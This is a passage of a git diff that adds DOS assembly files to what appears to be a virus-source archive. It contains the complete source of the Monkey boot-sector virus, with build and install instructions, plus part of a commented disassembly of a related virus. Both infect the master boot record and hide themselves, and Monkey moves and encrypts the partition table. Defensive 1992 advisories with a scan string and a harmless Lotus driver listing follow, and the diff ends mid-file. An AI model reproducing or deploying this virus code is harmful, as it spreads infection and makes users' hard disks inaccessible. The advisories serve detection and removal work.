[si] to es:[di] + into ; Int 4 on overflow + dec si + db 64h, 60h, 0Dh, 01h, 03h, 4Eh + db 6Eh, 3Bh,0F2h,0DCh + db 'VHNNNteten' + + db 1Ah + db '&+n', 0Ah, '/:/n' + db 3 + db '!"+=:+#+ :n', 0Dh, '!<>! see next routine + +set_virus: ;<- this is offset 62h! at virus location es:0062h + + mov es, cx ;like xor es, es + mov bx, sp ;still at 7c00h! + push cx + push bx ;for return to 0000:7c00 + + mov dx, 0080h ;c: drive, cyl 0 + call set_si ;haven't figured this out yet + + call do_virus_thing + + mov cl, 3 + mov dx, 80h + call read_drive + call scramble_boot + retf + +int_13h_handler: + push ds + push si + push di + push ax + push cx + push dx + call set_si + cmp ah, 2 ;read operation? + jnz not_two + push dx + sub ax, ax + int 1ah + cmp dl, 40h + pop dx + jnb not_two + call do_virus_thing ;write a virus to the drive or disk + +not_two: + pop dx + pop cx + pop ax + pop di + push dx + push cx + push ax + cmp cx, 3 + jnb not_three + cmp dh, [si] ;check for read/write to virus sector + jnz not_three + cmp ah, 2 + jz call_int13h + cmp ah, 3 + jnz not_three + cmp dl, 80h + jb not_three + sub ah, ah + jmp short not_three + + +call_int13h: + call int_13h_call + jb end_handler + call check_data1 + jz point_two + call check_data2 + jz point_two + clc + jmp short end_handler + +point_two: + call set_real_partition + mov dh, [si + 1] + pop ax + call int_13h_call + call scramble_boot + pop cx + pop dx + jmp short end_here +not_three: + call int_13h_call +end_handler: + pop ds + pop ds + pop ds +end_here: + pop si + pop ds + retf 2 + +data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh + +read_drive: + mov ax, 0201h ;read 1 sector +int_13h_call: + pushf ;simulate INT + db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch] + ret + +shrink_mem: + dec ax ;contains mem from int 12h + mov di, 414h + dec di ;this has got to be a "fool the scanner" trick + mov [di], ax ;shrink sys me by 1 K +set_es: + mov cl, 6 + shl ax, cl ;get top of base mem in segs + add al, 20h ;add a little more to be safe + mov es, ax ;and set es. This will be about 9fe0h or so + ;if full 640K mem + ret + +write_drive: + mov dh, [si] ;on first infection si == 0 - head 0 + mov ax, 0301h ;write one sector + call int_13h_call ;and do it + + ret + +do_virus_thing: + sub cx, cx + inc cx + push cx ;god, mov cx, 1 + mov dh, [si] ;location of sector + call read_drive ;read in one sector, this will be partition + ;on first infection + jb end_do_virus_thing ;error? lets abort + + call check_data1 ;do we have 9219h sectors in last partition? + jz end_do_virus_thing ;if so, get out of town + + call check_data2 + jnz next_virus_pt + + cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition? + jz end_do_virus_thing ; quit + + mov word ptr es:[bx + 1fah], 0 ;this will kill last partition + mov cl, 1 ;sector 1? + + call write_drive + jb end_do_virus_thing ;error abort + inc cx ;sector 2? + mov dh, [si + 2] + + call read_drive ;get the boot sector + jb end_do_virus_thing + + pop ax ;should == 1 + push cx + +next_virus_pt: + + call set_real_partition + call scramble_boot + + inc si + call write_drive + + dec si + jb end_do_virus_thing + + call scramble_boot + + push cx + call mov_virus + pop cx + push dx + mov dl, [si + 3] + + ;mov word ptr es:[bx + 74h], dx + db 26h, 89h, 97h, 74h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + + pop dx + + ;mov byte ptr es:[bx + 72h], cl + db 26h, 88h, 8fh, 72h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + + mov word ptr es:[bx + 01feh], 0AA55h + pop cx + push cx + mov byte ptr es:[bx + 00f2h], cl + call write_drive + +end_do_virus_thing: + pop ax + ret + +mov_virus: + +;****************** whole virus including first jmp is stored +;****************** and accessed later for disk/drive infections + + push si + mov di, bx ;di == 0 + mov si, 20h ;this is where virus starts + add di, si ;he's keeping space between 1st jmp + ;and the virus loading stub constant + ;to facilitate future infections + mov cx, 1dch ;we're moving this many + repz movsb ;and mov 'em + + mov di, bx ;like xor di, di + sub si, si ;like xor si, si + + mov cl, 3 ;movs the first jmp + repz movsb ;instruction! + + pop si + ret +;************checks for number of sectors in last partition! +check_data1: + cmp word ptr es:[bx + 01fah], 9219h + ret + +;************not sure what is going on here, offset 119h is in the partition code +;************this ain't a virus ID +check_data2: + cmp word ptr es:[bx + 119h], 6150h + ret + +scramble_boot: + push di + push cx + push ax + mov di, bx + mov cx, 200h + cld +scram_loop: + mov al, byte ptr es:[di] + xor al, 2eh + stosb + loop scram_loop + + pop ax + pop cx + pop di + ret + +set_si: + push cs + pop ds + mov si, 00eah ;location of real partition + cmp dl, 80h ;hard drive access? + jb end_set_si ;no? lets go + mov si, 00eeh ;hard drive infection routine +end_set_si: + ret + +;***********I think this loads the real partition which was read from sector 2 +;***********DS equ 7c0h +set_real_partition: + + push di + push si + mov al, byte ptr es:[bx + 14h] + mov cx, 4 +loop_ptr: + mov si, cx + dec si + cmp [si + 00f3h], al + jz set_cl + loop loop_ptr + mov cl, 3 + jmp short bye +set_cl: + mov cl, [si+00f7h] +bye: + pop si + pop di + ret + + +scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah + +virus ends + + end begin + + + diff --git a/m/MONKEY.ASM b/m/MONKEY.ASM new file mode 100755 index 0000000..6643317 --- /dev/null +++ b/m/MONKEY.ASM @@ -0,0 +1,691 @@ + + page 70,80 + Name Monkey + +;******************************************************* +; +; Monkey written at the city of champions +; - Edmonton - by UACVRS - Jan 1992. +; +; Monkey is a full stealth MBR/Boot self-replicating program with +; no payload but it does not save the HD's partition +; table in place. When the "infected" computer is booted +; from a floppy, c: drive will no longer be accessible. +; +; To compile: masm monkey (we used MASM 5.0) +; link monkey +; exe2bin monkey.exe monkey.co +; Use NU, or debug to copy monkey.co to the boot +; sector of a floppy. The diskette will not boot +; but will install itself on the hard drive. +; +; Bug: It will trash any floppies higher than +; 1.44meg, not deliberately. +; +;******************************************************* + +Code Segment + Assume CS:Code,DS:CODE,ES:CODE + ORG 00H + +MAIN: + JMP INITIAL + +; space above 1fh is for floppy format data + + ORG 1FH +INT_13 EQU THIS BYTE + + PUSH DS + PUSH SI + PUSH DI + PUSH AX + PUSH CX + PUSH DX + + CALL SET_HEAD + + CMP AH,02H + JNZ END_ACTION + + PUSH DX + SUB AX,AX + INT 1AH + +TIME EQU $ + 2 + CMP DL,40H + POP DX + JNB END_ACTION + + CALL HANDLE_DISK + +END_ACTION: + POP DX + POP CX + POP AX + POP DI + + PUSH DX + PUSH CX + PUSH AX + + CMP CX,03H ; YES, IS SECTOR LESS THAN 3? + JNB EXIT_2 ; NO, EXIT + + CMP DH,BYTE PTR DS:[SI] ; Right head? + JNZ EXIT_2 ; NO, EXIT + + CMP AH,02H ; READ ? + JZ STEALTH ; YES, STEALTH + + CMP AH,03H ; WRITE ? + JNZ EXIT_2 ; NO, EXIT + ; YES! + CMP DL,80H ; HARD DRIVE? + JB EXIT_2 ; NO, EXIT + + SUB AH,AH ; else RESET DISK - make HD light blink + JMP SHORT EXIT_2 ; EXIT +STEALTH: + CALL INT13 ; READ + JB EXIT_3 ; ERROR? + + CALL COMP_SIG ; MY RELATIVE? + JZ REDIRECT ; YES, REDIRECT + + CALL COMP_PA ; NO, IS IT PA? + JZ REDIRECT ; YES, REDIRECT + +EXIT_0: + CLC ; NO, RESET FLAG + JMP SHORT EXIT_3 ; EXIT + +REDIRECT: + + CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL + + MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD + + POP AX ; RESTORE AX + CALL INT13 ; RE-READ + CALL ENCRPT_PBR + POP CX ; RESTORE CX, DX + POP DX + JMP SHORT EXIT_4 ; EXIT +EXIT_2: + CALL INT13 +EXIT_3: + POP DS + POP DS + POP DS +EXIT_4: + POP SI + POP DS + RETF 0002H + +READ_SEC_1: + MOV AX,0201H ; READ +INT13 PROC NEAR + PUSHF + CALL DWORD PTR CS:INT13_ADDR ;*********** + RET +INT13 ENDP + +HOOK_ENTRY EQU THIS BYTE +HOOK: + INT 12H + MOV SI,004CH + PUSH SI + CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2? + JZ SETUP_SPECIAL + +SETUP_NORMAL: + + CALL SHIFT_NORMAL + + MOV DI,OFFSET INT13_ADDR + MOV CX,0002H + CLD + REPZ MOVSW + + JMP SHORT STORE_SEGMENT + +SETUP_SPECIAL: + + CALL SHIFT_SPECIAL + +STORE_SEGMENT: + POP SI + MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT + MOV DS:[SI+2],AX ; STORE MY SEGMENT + +PATCH_OVER: + + PUSH CS + POP DS + CALL PATCH ; PATCH OVER + PUSH ES ; PUSH SEGMENT + MOV AX,OFFSET JMP_ADDR + PUSH AX ; PUSH ADDRESS + STI + RETF ; FAR JMP + + JMP_ADDR EQU THIS BYTE +BOOT: + MOV ES,CX + MOV BX,SP ; TO 0000:7C00 + PUSH CX ; SAVE JMP SEGMENT + PUSH BX + + MOV DX,0080H ; HANDLE C: + CALL SET_HEAD + CALL HANDLE_DISK + +BOOT_SEC EQU $ + 1 + MOV CL,05H ; FROM SECTOR 3 ???? + +BOOT_DISK EQU $ + 1 + MOV DX,0100H ; C:, HEAD 0 ???? + + CALL READ_SEC_1 ; INT 13 + + CALL ENCRPT_PBR + + RETF + +HANDLE_DISK PROC NEAR + + ; *** READ SECTOR 1 *** + SUB CX,CX + INC CX + PUSH CX + + MOV DH,[SI] ; HEAD + CALL READ_SEC_1 ; INT 13 + JB END_HANDLE_DISK ; ERROR -> END + + ; *** COMPARE *** + CALL COMP_SIG + JZ E_2 ; SAME -> UPDATE MYSELF + + ; *** PA? *** + CALL COMP_PA ; Is it Pagett's disksec? + JNZ UPDATE_DISK ; NO + + ; *** OK? *** + INC CX + CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set + ; to 0 means disksec would not do + ; checksum of partitions - Pagett + ; sucks + JZ E_2 ; SAME -> UPDATE MYSELF + + MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero + MOV CL,1H ; write the change back to sector 1 + CALL WRITE_SEC_1 ; + JB END_HANDLE_DISK + + ; *** YES! READ SECTOR 2 *** + INC CX ; yes,Pagette 's disksecure is on sector 1 + MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2 + CALL READ_SEC_1 ; INT 13 + JB END_HANDLE_DISK ; ERROR -> END + POP AX + PUSH CX + +UPDATE_DISK: + CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL + CALL ENCRPT_PBR + INC SI + CALL WRITE_SEC_1 + DEC SI + JB END_HANDLE_DISK + + CALL ENCRPT_PBR + PUSH CX + CALL PATCH + POP CX + + PUSH DX + CMP DL,80H + JNB E_1 + XOR DL,DL +E_1: + MOV WORD PTR ES:[BX+BOOT_DISK],DX + POP DX + MOV BYTE PTR ES:[BX+BOOT_SEC],CL + POP CX + PUSH CX + MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL + MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H + +E_2: + CALL WRITE_SEC_1 + +END_HANDLE_DISK: + POP AX + RET + +HANDLE_DISK ENDP + +WRITE_SEC_1 PROC NEAR + MOV DH,[SI] +WRITE_SEC_2: + MOV AX,0301H + CALL INT13 + RET +WRITE_SEC_1 ENDP + +COMP_SIG PROC NEAR + CMP ES:[BX+OFFSET PROG_SIG],9219H + RET +COMP_SIG ENDP + +COMP_PA PROC NEAR + CMP WORD PTR ES:[BX+119H],6150H ; PA? + RET +COMP_PA ENDP + +HOME_SEC DB 01H + +FLOPPY_HEAD DB 00H,01H,01H +HARD_HEAD DB 00H,00H,00H + + ; 360 720 1.2 1.44 +FLOP_SECT_TABLE DB 02H,05H,09H,0BH +SAVE_SECT_TABLE DB 03H,05H,0EH,0EH + +CHSEC PROC NEAR + PUSH DI + PUSH SI + MOV AL,ES:[BX+14H] + MOV CX,0004H +CHSEC_1: + MOV SI,CX + DEC SI + CMP FLOP_SECT_TABLE[SI],AL + JZ CHSEC_END_1 + LOOP CHSEC_1 + MOV CL,03H + JMP SHORT CHSEC_END_2 +CHSEC_END_1: + MOV CL,SAVE_SECT_TABLE[SI] +CHSEC_END_2: + POP SI + POP DI + RET +CHSEC ENDP + +SHIFT_NORMAL PROC NEAR + ; FIND THE SEGMENT TO HIDE + DEC AX + MOV DS:[413H],AX + +SHIFT_SPECIAL: + MOV CL,06H + SHL AX,CL + ADD AL,20H + MOV ES,AX + RET +SHIFT_NORMAL ENDP + +PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13 + PUSH SI + MOV DI,BX + MOV SI,OFFSET INT_13 + ADD DI,SI +; CLD + MOV CX,OFFSET PROG_END - OFFSET INT_13 + REPZ MOVSB + +PATCH_JMP: + MOV DI,BX + + SUB SI,SI + MOV CL,3H + REPZ MOVSB + + POP SI + RET +PATCH ENDP + +SET_HEAD PROC NEAR + PUSH CS + POP DS + + MOV SI,OFFSET FLOPPY_HEAD + CMP DL,80H + JB SET_HEAD_EXIT + MOV SI,OFFSET HARD_HEAD +SET_HEAD_EXIT: + RET +SET_HEAD ENDP + +INITIAL: + CLI + SUB BX,BX + MOV DS,BX + MOV SS,BX + MOV SP,7C00H + JMP HOOK + NOP + NOP + +ENCRPT_PBR: + PUSH DI + PUSH CX + PUSH AX + + MOV DI,BX + MOV CX,200H + + CLD +ENCRPT_1: + MOV AL,ES:[DI] +ENCRPT_CODE EQU $ + 0001H + XOR AL,2EH + STOSB + LOOP ENCRPT_1 + + POP AX + POP CX + POP DI + RET + + + ORG 01F4H +;PROG_NAME DB "Monkey" +PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h + + ORG 01FAH +PROG_SIG DB 19H,92H + +PROG_END EQU THIS BYTE + + ORG 01FCH +INT13_ADDR DB 00H,00H + + ORG 01FEH +BOOT_SIG DB 55H,0AAH +PROG_TAIL EQU THIS BYTE + +PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13 + + +CODE ENDS + END MAIN + +; from U of A +NEW COMPUTER VIRUS THREAT Posted: July 9, 1992 + +MONKEY VIRUSES ON PCs + +The Monkey viruses are main boot record/boot sector infectors, +derived from the Empire D virus. Two variants of the Monkey virus +have been identified. Of particular concern is the fact these +viruses can infect computers protected by the Disk Secure program, +while causing no noticeable changes. Symptoms of infection for +those computers without Disk Secure include memory reduction and +hard drive partitions which are not accessible when booting up +with a floppy disk. When the viruses are active on computers +without Disk Secure, total memory will be reduced by 1,024 bytes. + +Monkey viruses destroy partition table data. If an infected system +is booted up from a clean boot disk, DOS claims to be unable to +access the hard drive partitions. A DIR C: command will return the +message, "Invalid drive specification." + +Detection + +The simplest method of detection involves recognizing a 1K +decrease in memory. The DOS commands CHKDSK and MEM will return 1K +less "total conventional memory" than is normal. + +Of the popular virus scanning products, only F-PROT version 2.04A +finds the Monkey viruses, calling them a "New variant of Stoned." +It will identify the virus in memory as well. The F-PROT Virstop +driver does not recognize the Monkey viruses on boot-up. + +Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC +program that will notice the presence of the Monkey viruses. Note +that Disk Secure itself will not detect the infection: it is +important that the CHKSEC command be called from the autoexec.bat +file. + +As well, a special program to find and remove the Monkey viruses, +called KILLMONK, has been written at the University of Alberta. + +Removal + +To clean a hard disk: If you have previously saved a copy of the +clean main boot record (MBR), then this can be restored. (Many +anti-virus products have an automated way of doing this.) If you +don't have a copy of the original MBR, and don't know what values +your partition table should have, then the KILLMONK program will +restore the partition table for you. + +To restore diskettes: Use the KILLMONK program. + +The newest version of F-PROT (version 2.04A) and the KILLMONK +program, are both available, free of charge, from Computing and +Network Services. Bring a formatted diskette to the Microcomputer +Demonstration Centre (MDC), in the basement of the Bookstore, or a +ready-made diskette can be purchased for $2.00 from the CNS User +Support Centre at 302 General Services Building. These programs +can also be downloaded from the MTS account VIR. + +;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences) +Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC) +Date: 20 Jul 92 09:10:09 GMT + +Virus Name: MONKEY.1, MONKEY.2 (Empire variants) +V Status: New +Discovery: February, 1992 +Symptoms: Memory reduction, hard drive partitions not accessible on + floppy bootup. +Origin: Alberta, Canada +Eff. Length: 512 bytes +Type Code: BPRtS (Boot and Partition table infector - Resident TOM - + Stealth) +Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK +Removal: Cold boot from clean, write-protected floppy, replace MBR +(hard + disk) or Boot Sector (floppy). + +General Comments: +The Monkey viruses are Main Boot Record / Boot Sector infectors, +derived from the Empire D virus. Two variants of the Monkey virus +have been identified: their most obvious difference is in the initial +bytes at offset 0: +Monkey.1: E9 CD 01 (JMP 02D0) +Monkey.2: EB 1E 90 (JMP 0020 ; NOP) + +Both variants keep the original sector's data at offset 03h - 1fh. In +boot sectors, this region contains data required to identify the +diskette format. This solves the problem noticed with earlier +variants of Empire, whereby infected 720k diskettes were sometimes +unreadable. + +The Monkey viruses take 1k from the top of memory. When active, total +memory will be reduced by 1024 bytes. + +The Monkey viruses use stealth to protect both the MBR and diskette +boot sectors. When active in memory, Int 13h calls cannot access the +infected sector of either hard disks or floppies. + +The Monkey viruses are not polimorphic. They do not encode any of the +virus, as was done by some of the earlier Empire variants. But before +saving the clean MBR or boot sector to a hiding place, the Monkey +viruses do encode that sector, using an "XOR 2Eh". This creates a +problem for any disinfecting program that recover the initial boot +sector or MBR by copying it from the hiding place. + +When a hard disk is infected, the encoded MBR is put at side 0, +cylinder 0, sector 3. + +When a floppy diskette is infected, the original boot sector is placed +in the bottom sector of the root directory. This means directory +entries will be lost only if the root directory is nearly full -- more +than 96 entries on double density diskettes, or more than 208 entries +on high density diskettes. The virus is designed to identify only the +four most common diskette formats. If the diskette is not of a +recognized format, the boot sector is put on side 1, sector 3. I have +no idea what would happen to a 2.88Mb diskette, but I suspect the +virus would damage the File Allocation Table, causing loss of data. + +The Monkey viruses do not put any messages to the screen at any time, +but the virus code does contain, encrypted, the string "Monkey", +followed by bytes 1992h. It may be significant that the chinese Year +of the Monkey began in February 1992. + +The most remarkable characteristic of the Monkey viruses is that they +were designed as an attack on Padgett Peterson's "Disk Secure" +product. When a computer is booted from an infected diskette, the +virus first checks whether Disk Secure is on the hard disk. If it is, +the virus puts itself in sector 2, rather than sector 1, and slightly +modifies Disk Secure, so that Disk Secure will load the virus after +Disk Secure has checked the system and loaded itself. The monkey +viruses install themselves and above Disk Secure, in memory, at offset +200h. + +The Monkey viruses do not save the partition table data in place, so +if an infected system is booted from a clean boot disk, DOS claims to +be unable to access the hard drive partitions. A DIR C: command will +return "Invalid drive specification". + +Detection: +Of the popular virus scanning products, only F-PROT 2.04 finds the +Monkey viruses, calling them a "New variant of stoned". It will +identify the virus in memory as well. The F-PROT Virstop driver does +not recognise the Monkey viruses, on boot-up. + +Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will +notice the presence of the Monkey viruses. Notice that Disk Secure +itself will not detect the infection: it is important that the CHKSEC +command be called from the autoexec.bat file. + +The simplest detection still involves recognizing a 1k decrease in +memory. CHKDSK and MEM will return 1k less "total conventional +memory" than normal. + +A special program to find and remove the Monkey viruses, called +KILLMONK, has been written at the University of Alberta. I hope to +make this available to the anti-virus community shortly. + +Removal: +The undocumented /MBR option of FDISK does remove the Monkey virus +from the MBR, provided the computer was booted from a clean floppy, +but it does not restore the correct partition table values. The +problem is that the partition table is not in place in sector one: the +table is encoded, in sector 3. + +To clean a hard disk: If you have previously saved a copy of the clean +MBR, then this can be restored. (Many anti-virus products have an +automated way of doing this.) If you don't have a copy of the +original MBR, and don't know what values your partition table should +have, then the KILLMONK program may be what you need. + +To restore diskettes: Padgett Peterson's FIXFBR works very well, +though it doesn't recognize that the disk is infected. Another +alternative is the KILLMONK program. + +Scan String: +The following hexidecimal string is in both variants of Monkey. It is +from the code the virus uses to recognize itself. + 26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61 + +Tim + + ; From F-PROT + + Name: Monkey + Type: Boot MBR Stealth + + The Monkey virus was first discovered in Edmonton, Canada, in the + year 1991. The virus spread quickly to USA, Australia and UK. + Monkey is one of the most common boot sector viruses. + + As the name indicates, Monkey is a distant relative of Stoned. + Its technical properties make it quite a remarkable virus, + however. The virus infects the Master Boot Records of hard disks + and the DOS boot records of diskettes, just like Stoned. Monkey + spreads only through diskettes. + + Monkey does not let the original partition table remain in its + proper place in the Master Boot Record, as Stoned does. Instead + it moves the whole Master Boot Record to the hard disk's third + sector, and replaces it with its own code. The hard disk is + inaccesible after a diskette boot, since the operating system + cannot find valid partition data in the Master Boot Record - + attempts to use the hard disk result in the DOS error message + "Invalid drive specification". + + When the computer is booted from the hard disk, the virus is + executed first, and the hard disk can thereafter be used + normally. The virus is not, therefore, easily noticeable, unless + the computer is booted from a diskette. + + The fact that Monkey encrypts the Master Boot Record besides + relocating it on the disk makes the virus still more difficult to + remove. The changes to the Master Boot Record cannot be detected + while the virus is active, since it rerouts the BIOS-level disk + calls through its own code. Upon inspection, the hard disk seems + to be in its original shape. + + The relocation and encryption of the partition table render two + often-used disinfection procedures unviable. One of these is the + MS-DOS command FDISK /MBR, capable of removing most viruses that + infect Master Boot Records. The other is using a disk editor to + restore the Master Boot Record back on the zero track. Although + both of these procedures destroy the actual virus code, the + computer cannot be booted from the hard disk afterwards. + + There are five different ways to remove the Monkey + virus: + o The original Master Boot Record and partition table can + be restored from a backup taken before the infection. + Such a backup can be made by using, for example, the + MIRROR /PARTN command of MS-DOS 5. + + o The hard disk can be repartitioned by using the FDISK + program, after which the logical disks must be formatted. + All data on the hard disk will consequently be lost, + however. + + o The virus code can be overwritten by using FDISK/MBR, and + the partition table restored manually. In this case, the + partition values of the hard disk must be calculated and + inserted in the partition table with the help of a disk + editor. The method requires expert knowledge of the disk + structure, and its success is doubtful. + + o It is possible to exploit Monkey's stealth capabilities + by taking a copy of the zero track while the virus is + active. Since the virus hides the changes it has made, + this copy will actually contain the original Master Boot + Record. This method is not recommendable, because the + diskettes used in the copying may well get infected. + + o The original zero track can be located, decrypted and + moved back to its proper place. As a result, the hard + disk is restored to its exact original state. F-PROT uses + this method to disinfect the Monkey virus. + + It is difficult to spot the virus, since it does not activate in + any way. A one-kilobyte reduction in DOS memory is the only + obvious sign of its presence. The memory can be checked with, for + instance, DOS's CHKDSK and MEM programs. However, even if MEM + reports that the computer has 639 kilobytes of basic memory + instead of the more common 640 kilobytes, it does not necessarily + mean that the computer is infected. In many computers, the BIOS + allocates one kilobyte of basic memory for its own use. + + The Monkey virus is quite compatible with different diskette + types. It carries a table containing data for the most common + diskettes. Using this table, the virus is able to move a + diskette's original boot record and a part of its own code to a + safe area on the diskette. Monkey does not recognize 2.88 + megabyte ED diskettes, however, and partly overwrites their File + Allocation Tables. + + diff --git a/m/MONOGRAF.ASM b/m/MONOGRAF.ASM new file mode 100755 index 0000000..6671c27 --- /dev/null +++ b/m/MONOGRAF.ASM @@ -0,0 +1,312 @@ +; MONOGRAF.DRV -- Lotus Driver for Graphics on Monochrome Display +; ============ +; +; (For use with Lotus 1-2-3 Version 1A) +; +; (C) Copyright Charles Petzold, 1985 + +CSEG Segment + Assume CS:CSEG + + Org 0 +Beginning dw Offset EndDriver,1,1,Offset Initialize + + Org 18h + db "Monochrome Graphics (C) Charles Petzold, 1985",0 + + Org 40h + dw 40 * 8 - 1 ; Maximum Dot Column + dw 25 * 8 - 1 ; Maximum Dot Row + dw 10, 7, 6, 10, 7, 6, 256 + db -1 ; For one monitor + + Org 53h + Jmp Near Ptr ClearScreen ; Call 0 -- Clear Screen + Jmp Near Ptr ColorSet ; Call 1 -- Set Color + Jmp Near Ptr SetAddress ; Call 2 -- Set Row/Col Addr + Jmp Near Ptr DrawLine ; Call 3 -- Draw a Line + Jmp Near Ptr Initialize ; Call 4 -- Write Dot (nothing) + Jmp Near Ptr WriteChar ; Call 5 -- Write a Character + Jmp Near Ptr DrawBlock ; Call 6 -- Draw a Block + Jmp Near Ptr Initialize ; Call 7 -- Read Dot (nothing) + Jmp Near Ptr Initialize ; Call 8 -- Video Reset + +; Initialization Routine +; ---------------------- + +Initialize Proc Far + Mov AX,0 ; This is standard + Or AX,AX ; for all drivers + Ret +Initialize EndP + +; Common Data Used in Routines +; ----------------------------------- + +CharacterRow dw ? ; from 0 to 24 +CharacterCol dw ? ; from 0 to 79 +ScreenAddress dw ?,0B000h ; Offset & Segment +CurrentColor db ?,7 ; For Screen Output +Colors db 219,219,178,177,176,219,178 ; Actually blocks + +; Row and Column Conversion of AX from graphics to character +; ---------------------------------------------------------- + +Rounder dw 0 ; Value to add before division +Divisor db ? ; Value to divide by +MaxDots dw ? ; Number of dots + +RowConvertRnd: Mov [Rounder],4 ; Row rounding -- add 4 +RowConvert: Mov [Divisor],8 ; Row normal -- divide by 8 + Mov [MaxDots],200 ; 25 lines times 8 dots + Jmp Short Convert ; And do generalized conversion + +ColConvertRnd: Mov [Rounder],2 ; Column rounding -- add 2 +ColConvert: Mov [Divisor],4 ; Will divide by 4 + Mov [MaxDots],320 ; 40 columns times 4 dots + +Convert: Cmp AX,[MaxDots] ; See if graphics value OK + Jb OKToConvert ; It is if under maximum + Jl Negative ; But could be negative + Sub AX,[MaxDots] ; Otherwise wrap down + Jmp Convert ; And check again +Negative: Add AX,[MaxDots] ; Negatives wrap up + Jmp Convert ; And check again + +OkToConvert: Add AX,[Rounder] ; Add rounding value + Div [Divisor] ; Divide + Cbw ; And convert to word + Mov [Rounder],0 ; For next time through + Ret + +; Calc Offset -- DX, CX character positions in +; ----------- + +CalcOffset: Push AX + Push DX + + Mov AX,80 ; Columns Per Line + Mul DX ; AX now at beginning of row + Add AX,CX ; Add column value + Add AX,AX ; Double for attributes + Mov [ScreenAddress],AX ; Save as the current address + + Pop DX + Pop AX + + Ret + +; Address Convert -- DX, CX row and column converted to character +; --------------- + +AddrConvert: Push AX + + Mov AX,DX ; This is graphics row + Call RowConvert ; Convert to character row + Mov DX,AX ; Save back in DX + Mov [CharacterRow],AX ; And save value in memory + + Mov AX,CX ; This is graphics column + Call ColConvert ; Convert to character column + Mov CX,AX ; Back in CX + Mov [CharacterCol],AX ; And value also saved + + Call CalcOffset ; Find the screen destination + + Pop AX + + Ret + +; Call 0 -- Clear Screen -- AL = 0 for B&W +; ====================== -1 for Color + +ClearScreen Proc Far + Mov AX,0B000h ; Monochrome Segment + Mov ES,AX ; Set EX to it + Sub DI,DI ; Start at zero + Mov CX,25 * 80 ; Number of characters + Mov AX,0720h ; Blanks only + Cld ; Forward direction + Rep Stosw ; Do it + Ret +ClearScreen EndP + +; Call 1 -- Color Set -- AL = Color (0, 1-6) +; ------------------- + +ColorSet Proc Far + Mov BX,Offset Colors ; Blocks for 7 colors + Xlat Colors ; Translate the bytes + Mov [CurrentColor],AL ; And save it + Ret +ColorSet EndP + +; Call 2 -- Set Address -- DX = Graphics Row +; --------------------- CX = Graphics Columns + +SetAddress Proc Far + Call AddrConvert ; One routine does it all + Ret +SetAddress EndP + +; Call 3 -- Draw Line -- DX = End Row +; ------------------- CX = End Column + +DrawLine Proc Far + Les DI,DWord Ptr [ScreenAddress] ; Beginning address + Mov AX,[CharacterCol] ; AX now beginning column + Mov BX,[CharacterRow] ; BX now beginning row + + Call AddrConvert ; CX,DX now ending col, row + + Cmp AX,CX ; See if cols are the same + Je VertLine ; If so, it's vertical line + + Cmp BX,DX ; See if rows are the same + Jne DrawLineEnd ; If not, don't draw anything + +HorizLine: Sub CX,AX ; Find the number of bytes + Mov BX,2 ; Increment for next byte + Mov AL,196 ; The horizontal line + Mov AH,179 ; The vertical line + Jae DrawTheLine ; If CX > AX, left to right + Jmp Short ReverseLine ; Otherwise right to left + +VertLine: Mov CX,DX ; This is the ending column + Sub CX,BX ; Subtract beginning from it + Mov BX,80 * 2 ; Increment for next line + Mov AL,179 ; The vertical line + Mov AH,196 ; The horizontal line + Jae DrawTheLine ; If CX > BX, up to down + +ReverseLine: Neg BX ; Reverse Increment + Neg CX ; Make a positive value + +DrawTheLine: Inc CX ; One more byte than calced + +DrawLineLoop: Cmp Byte Ptr ES:[DI],197 ; See if criss-cross there + Je DrawLineCont ; If so, branch around + + Cmp ES:[DI],AH ; See if opposite line + Jne NoOverLap ; If not, skip next code + + Mov Byte Ptr ES:[DI],197 ; Write out criss-cross + Jmp Short DrawLineCont ; And continue + +NoOverLap: Mov ES:[DI],AL ; Display line chararacter + +DrawLineCont: Add DI,BX ; Next destination + Loop DrawLineLoop ; For CX repetitions + +DrawLineEnd: Ret +DrawLine EndP + +; Call 5 -- Write Character -- DX, CX = row, col; BX = count, +; ------------------------- AH = direction, AL = type + +Direction db ? + +WriteChar Proc Far + + Push BX ; Save count + Add BX,BX ; Initialize adjustment + Mov [Direction],AH ; Save direction + + Or AL,AL ; Branch according to type + Jz WriteType0 + Dec AL + Jz WriteType1 + Dec AL + Jz WriteType2 + Dec AL + Jz WriteType3 + +WriteType4: Mov AX,4 ; Adjustment to row + Jmp Short WriteCharCont + +WriteType3: Add BX,BX ; Center on column +WriteType2: Sub AX,AX ; No adjustment to row + Jmp Short WriteCharCont + +WriteType1: Sub BX,BX ; No adjustment on column +WriteType0: Mov AX,2 ; Adjustment to row + +WriteCharCont: Cmp [Direction],0 ; Check the direction + Jz HorizChars + + Sub DX,BX ; Vertical -- adjust row + Sub DX,BX + Sub CX,AX ; Adjust column + Mov AX,80 * 2 - 1 ; Increment for writes + Jmp Short DoWriteChar + +HorizChars: Sub DX,AX ; Horizontal -- adjust row + Sub DX,AX + Sub CX,BX ; Adjust column + Mov 